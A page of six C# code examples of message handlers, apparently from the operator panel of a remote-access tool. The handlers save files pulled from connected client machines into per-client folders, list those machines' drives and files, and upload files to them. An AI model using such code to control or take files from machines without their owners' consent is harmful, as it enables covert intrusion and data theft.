Пример #1
0
        public void SocketDownload(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "pre":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                                string file = unpack_msgpack.ForcePathObject("File").AsString;
                                string size = unpack_msgpack.ForcePathObject("Size").AsString;
                                FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                                if (SD != null)
                                {
                                    SD.C = client;
                                    SD.labelfile.Text = Path.GetFileName(file);
                                    SD.dSize = Convert.ToInt64(size);
                                    SD.timer1.Start();
                                }
                            }));
                    }
                    break;
                }

                case "save":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(async() =>
                            {
                                string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                                FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                                if (SD != null)
                                {
                                    if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
                                    {
                                        Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")));
                                    }
                                    string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
                                    if (File.Exists(filename))
                                    {
                                        File.Delete(filename);
                                        await Task.Delay(500);
                                    }
                                    File.WriteAllBytes(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString), unpack_msgpack.ForcePathObject("File").GetAsBytes());
                                }
                            }));
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #2
0
        public async void SocketDownload(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "pre":
                {
                    string           dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                    string           file = unpack_msgpack.ForcePathObject("File").AsString;
                    string           size = unpack_msgpack.ForcePathObject("Size").AsString;
                    FormDownloadFile SD   = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                    if (SD != null)
                    {
                        SD.Client         = client;
                        SD.labelfile.Text = Path.GetFileName(file);
                        SD.FileSize       = Convert.ToInt64(size);
                        SD.timer1.Start();
                    }
                    break;
                }

                case "save":
                {
                    try
                    {
                        string           dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                        FormDownloadFile SD   = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                        if (SD != null)
                        {
                            if (!Directory.Exists(SD.DirPath))
                            {
                                return;
                            }
                            string fileName = unpack_msgpack.ForcePathObject("Name").AsString;
                            string dirPath  = SD.DirPath;
                            if (File.Exists(dirPath + "\\" + fileName))
                            {
                                fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName;
                                await Task.Delay(100);
                            }
                            await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName));

                            SD.Close();
                        }
                    }
                    catch { }
                    finally
                    {
                        GC.Collect();
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #3
0
        public async void SocketDownload(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "pre":
                {
                    string           dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                    string           file = unpack_msgpack.ForcePathObject("File").AsString;
                    string           size = unpack_msgpack.ForcePathObject("Size").AsString;
                    FormDownloadFile SD   = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                    if (SD != null)
                    {
                        SD.Client         = client;
                        SD.labelfile.Text = Path.GetFileName(file);
                        SD.FileSize       = Convert.ToInt64(size);
                        SD.timer1.Start();
                    }
                    break;
                }

                case "save":
                {
                    try
                    {
                        string           dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
                        FormDownloadFile SD   = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
                        if (SD != null)
                        {
                            if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
                            {
                                return;
                            }
                            string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
                            if (File.Exists(filename))
                            {
                                File.Delete(filename);
                                await Task.Delay(500);
                            }
                            await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename));

                            SD.Close();
                        }
                    }
                    catch { }
                    finally
                    {
                        GC.Collect();
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #4
0
        public void FileManager(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "getDrivers":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                                if (FM != null)
                                {
                                    FM.listView1.Items.Clear();
                                    string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    for (int i = 0; i < driver.Length; i++)
                                    {
                                        if (driver[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = driver[i];
                                            lv.ToolTipText = driver[i];
                                            if (driver[i + 1] == "Fixed")
                                            {
                                                lv.ImageIndex = 1;
                                            }
                                            else if (driver[i + 1] == "Removable")
                                            {
                                                lv.ImageIndex = 2;
                                            }
                                            else
                                            {
                                                lv.ImageIndex = 1;
                                            }
                                            FM.listView1.Items.Add(lv);
                                        }
                                        i += 1;
                                    }
                                }
                            }));
                    }
                    break;
                }

                case "getPath":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(() =>
                            {
                                FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                                if (FM != null)
                                {
                                    FM.listView1.Items.Clear();
                                    FM.listView1.Groups.Clear();
                                    string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    ListViewGroup groupFolder = new ListViewGroup("Folders");
                                    FM.listView1.Groups.Add(groupFolder);
                                    int numFolders = 0;
                                    for (int i = 0; i < _folder.Length; i++)
                                    {
                                        if (_folder[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = _folder[i];
                                            lv.ToolTipText = _folder[i + 1];
                                            lv.Group = groupFolder;
                                            lv.ImageIndex = 0;
                                            FM.listView1.Items.Add(lv);
                                            numFolders += 1;
                                        }
                                        i += 1;
                                    }

                                    string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                                    ListViewGroup groupFile = new ListViewGroup("Files");
                                    FM.listView1.Groups.Add(groupFile);
                                    int numFiles = 0;
                                    for (int i = 0; i < _file.Length; i++)
                                    {
                                        if (_file[i].Length > 0)
                                        {
                                            ListViewItem lv = new ListViewItem();
                                            lv.Text = Path.GetFileName(_file[i]);
                                            lv.ToolTipText = _file[i + 1];
                                            Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2])));
                                            FM.imageList1.Images.Add(_file[i + 1], im);
                                            lv.ImageKey = _file[i + 1];
                                            lv.Group = groupFile;
                                            lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3])));
                                            FM.listView1.Items.Add(lv);
                                            numFiles += 1;
                                        }
                                        i += 3;
                                    }
                                    FM.toolStripStatusLabel2.Text = $"       Folder[{numFolders.ToString()}]   Files[{numFiles.ToString()}]";
                                }
                            }));
                    }
                    break;
                }

                case "reqUploadFile":
                {
                    if (Program.form1.InvokeRequired)
                    {
                        Program.form1.BeginInvoke((MethodInvoker)(async() =>
                            {
                                FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
                                if (FD != null)
                                {
                                    FD.C = client;
                                    FD.timer1.Start();
                                    MsgPack msgpack = new MsgPack();
                                    msgpack.ForcePathObject("Packet").AsString = "fileManager";
                                    msgpack.ForcePathObject("Command").AsString = "uploadFile";
                                    await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName);
                                    msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName;
                                    ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
                                }
                            }));
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #5
0
        public async void FileManager(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "getDrivers":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                    if (FM != null)
                    {
                        FM.toolStripStatusLabel1.Text = "";
                        FM.listView1.Items.Clear();
                        string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                        for (int i = 0; i < driver.Length; i++)
                        {
                            if (driver[i].Length > 0)
                            {
                                ListViewItem lv = new ListViewItem();
                                lv.Text        = driver[i];
                                lv.ToolTipText = driver[i];
                                if (driver[i + 1] == "Fixed")
                                {
                                    lv.ImageIndex = 1;
                                }
                                else if (driver[i + 1] == "Removable")
                                {
                                    lv.ImageIndex = 2;
                                }
                                else
                                {
                                    lv.ImageIndex = 1;
                                }
                                FM.listView1.Items.Add(lv);
                            }
                            i += 1;
                        }
                    }
                    break;
                }

                case "getPath":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                    if (FM != null)
                    {
                        FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
                        if (FM.toolStripStatusLabel1.Text.EndsWith("\\"))
                        {
                            FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1);
                        }
                        if (FM.toolStripStatusLabel1.Text.Length == 2)
                        {
                            FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
                        }

                        FM.listView1.BeginUpdate();
                        //
                        FM.listView1.Items.Clear();
                        FM.listView1.Groups.Clear();
                        FM.toolStripStatusLabel3.Text = "";

                        ListViewGroup groupFolder = new ListViewGroup("Folders");
                        ListViewGroup groupFile   = new ListViewGroup("Files");

                        FM.listView1.Groups.Add(groupFolder);
                        FM.listView1.Groups.Add(groupFile);

                        FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
                        FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
                        //
                        FM.listView1.Enabled = true;
                        FM.listView1.EndUpdate();

                        FM.toolStripStatusLabel2.Text = $"       Folder[{FM.listView1.Groups[0].Items.Count}]   Files[{FM.listView1.Groups[1].Items.Count}]";
                    }
                    break;
                }

                case "reqUploadFile":
                {
                    FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
                    if (FD != null)
                    {
                        FD.Client = client;
                        FD.timer1.Start();
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString  = "fileManager";
                        msgpack.ForcePathObject("Command").AsString = "uploadFile";
                        await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName);

                        msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName;
                        ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
                    }
                    break;
                }

                case "error":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
                    if (FM != null)
                    {
                        FM.listView1.Enabled = true;
                        FM.toolStripStatusLabel3.ForeColor = Color.Red;
                        FM.toolStripStatusLabel3.Text      = unpack_msgpack.ForcePathObject("Message").AsString;
                    }
                    break;
                }
                }
            }
            catch { }
        }
Пример #6
0
        public async void FileManager(Clients client, MsgPack unpack_msgpack)
        {
            try
            {
                switch (unpack_msgpack.ForcePathObject("Command").AsString)
                {
                case "setClient":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        if (FM.Client == null)
                        {
                            client.ID         = unpack_msgpack.ForcePathObject("Hwid").AsString;
                            FM.Client         = client;
                            FM.timer1.Enabled = true;
                        }
                    }
                    break;
                }

                case "getDrivers":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        FM.toolStripStatusLabel1.Text = "";
                        FM.listView1.Items.Clear();
                        string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
                        for (int i = 0; i < driver.Length; i++)
                        {
                            if (driver[i].Length > 0)
                            {
                                ListViewItem lv = new ListViewItem();
                                lv.Text        = driver[i];
                                lv.ToolTipText = driver[i];
                                if (driver[i + 1] == "Fixed")
                                {
                                    lv.ImageIndex = 1;
                                }
                                else if (driver[i + 1] == "Removable")
                                {
                                    lv.ImageIndex = 2;
                                }
                                else
                                {
                                    lv.ImageIndex = 1;
                                }
                                FM.listView1.Items.Add(lv);
                            }
                            i += 1;
                        }
                    }
                    break;
                }

                case "getPath":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
                        if (FM.toolStripStatusLabel1.Text.EndsWith("\\"))
                        {
                            FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1);
                        }
                        if (FM.toolStripStatusLabel1.Text.Length == 2)
                        {
                            FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\";
                        }

                        FM.listView1.BeginUpdate();
                        //
                        FM.listView1.Items.Clear();
                        FM.imageList1.Images.Clear();
                        FM.imageList1.Images.Add("0_folder", Image.FromStream(new MemoryStream(Convert.FromBase64String("iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFHGlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxNDUgNzkuMTYzNDk5LCAyMDE4LzA4LzEzLTE2OjQwOjIyICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cGhvdG9zaG9wPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bob3Rvc2hvcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RFdnQ9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZUV2ZW50IyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxOSAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyM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otQLHn/r48SfO3Tj5+WevfA04kkvmxd51d3jEBKrOgQMjlAXXA35/FeWrncp+OMYKSTL3BvBqJhuN8lb7ClwA//u0AJd73MNPgh974IFD7/rkvz4z8ou/9fS7gVXgbVlCT/euuSMAIQj3HtnLWx6Y5tn/Osdqp+KzX/z2yvNnrv7I7/3ajz39np/6wUdc6ADzOzinPlsU4U8nx4Z5/K++zPs//NTBHDzA2a0c8W8KoNNV3v+Pz3Dn9ASP/+3XWVgaqMN/n3z90d898dpHzl+c+8+d/qtAo0w+6A8/8nVmF7tXbrFrdnsAqkr56L/9zy3fW1qp+O3Hv/QbRZC4UwCpPI39k22uzS5v+/v/Czq2mT6gKggCAAAAAElFTkSuQmCC"))));
                        FM.listView1.Groups.Clear();
                        FM.toolStripStatusLabel3.Text = "";

                        ListViewGroup groupFolder = new ListViewGroup("Folders");
                        ListViewGroup groupFile   = new ListViewGroup("Files");

                        FM.listView1.Groups.Add(groupFolder);
                        FM.listView1.Groups.Add(groupFile);

                        FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray()));
                        FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray()));
                        //
                        FM.listView1.Enabled = true;
                        FM.listView1.Focus();
                        FM.listView1.EndUpdate();

                        FM.toolStripStatusLabel2.Text = $"       Folder[{FM.listView1.Groups[0].Items.Count}]   Files[{FM.listView1.Groups[1].Items.Count}]";
                    }
                    break;
                }

                case "reqUploadFile":
                {
                    FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString];
                    if (FD != null)
                    {
                        FD.Client = client;
                        FD.timer1.Start();
                        MsgPack msgpack = new MsgPack();
                        msgpack.ForcePathObject("Packet").AsString  = "fileManager";
                        msgpack.ForcePathObject("Command").AsString = "uploadFile";
                        await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName);

                        msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName;
                        ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes());
                    }
                    break;
                }

                case "error":
                {
                    FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
                    if (FM != null)
                    {
                        FM.listView1.Enabled = true;
                        FM.toolStripStatusLabel3.ForeColor = Color.Red;
                        FM.toolStripStatusLabel3.Text      = unpack_msgpack.ForcePathObject("Message").AsString;
                    }
                    break;
                }
                }
            }
            catch { }
        }